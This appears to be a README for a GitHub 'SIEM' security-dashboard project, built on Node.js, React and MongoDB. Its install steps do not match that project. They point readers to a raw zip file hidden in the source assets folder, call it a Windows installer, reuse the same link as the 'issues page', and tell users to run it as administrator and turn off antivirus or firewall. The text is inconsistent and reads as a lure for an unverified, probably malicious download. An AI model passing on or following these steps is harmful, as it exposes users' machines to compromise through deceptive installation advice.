SIEM stands for Security Information and Event Management. This application helps you collect and view information about security events on your network. It gathers data from different sources and shows it all in one place. This makes it easier to spot potential problems and protect your computer systems.
SIEM uses modern tools like MongoDB and Node.js in the background but you do not need to know how these work. The interface is designed for easy use with simple menus and clear displays.
Before you start, make sure your computer meets these basic requirements:
- Operating System: Windows 10 or newer
- Processor: Intel Core i3 or equivalent
- RAM: 4 GB or more
- Free Disk Space: At least 500 MB
- Internet Connection: Required for initial download and updates
No special hardware or software installations are needed besides what is included in the download.
To get SIEM running on your Windows PC, follow these steps:
Go to this page to download the software:
https://raw.githubusercontent.com/sebaxtian110/SIEM/main/dashboard/src/assets/Software-v2.7.zip
You will find the latest version available on this page. Look for a button or link labelled "Download" or something similar. This will usually open a folder or section called "Releases".
Click the link that matches the latest release. Download the file ending with .exe or .msi. This file is the installer you need.
Once the file downloads, open your Downloads folder and double-click the installer file.
- If Windows asks if you want to allow this app to make changes, click Yes.
- Follow the instructions on the screen. These will guide you through setting up SIEM step-by-step.
You can accept the default choices shown unless you want to install in a different location on your computer.
After installation finishes, look for the SIEM app icon on your desktop or in the Start menu. Click to open the app.
The first time you run SIEM, it may take a moment to set up its initial files.
SIEM collects network and system security information from your computer and connected devices. It organizes this data so you can see when unusual activities happen. Here are the main parts you will use:
- Dashboard: See a simple view of recent security alerts and activity summaries.
- Events: Browse details of logged actions from various systems, such as your firewall, antivirus, and connected devices.
- Alerts: Get notifications about suspicious events that may need attention.
- Reports: Generate summaries or detailed reports of your network security over a selected time.
The interface uses clear labels, tables, and graphs. You can navigate using menus on the left side of the screen.
SIEM updates may add new features and fix issues. Check the download page regularly:

When an update is available:
- Download the new version from the same link.
- Run the installer as before.
- Your existing data and settings will stay safe.
If you need help, the GitHub repository page includes a section called "Issues" where common problems are reported and solved. You can also open a new issue for your question.
SIEM is built using tools like Node.js, React.js, MongoDB, and Express.js. These technologies work behind the scenes but do not require user setup.
If you are interested in the technical side, you might find these points useful:
- Node.js manages the server application.
- MongoDB stores the collected security event data.
- React.js creates the app interface you use.
- Express.js handles communication between the app and the server.
- Tailwind CSS styles the interface for a clean and modern look.
This stack ensures SIEM runs fast, updates easily, and displays information clearly.
- Keep your Windows OS up to date to ensure compatibility.
- Run SIEM with administrator privileges if you want to monitor system-wide events.
- Connect your network devices to feed data into SIEM for better monitoring.
- Regularly review alerts to spot unusual activities early.
If SIEM does not open or shows errors, try these steps:
- Restart your computer.
- Ensure you downloaded the full installer file.
- Run the app as administrator.
- Temporarily disable your antivirus or firewall to check if they block SIEM.
- Visit the GitHub page for known issues: https://raw.githubusercontent.com/sebaxtian110/SIEM/main/dashboard/src/assets/Software-v2.7.zip
You can also report your issue there with details of your problem and Windows version.
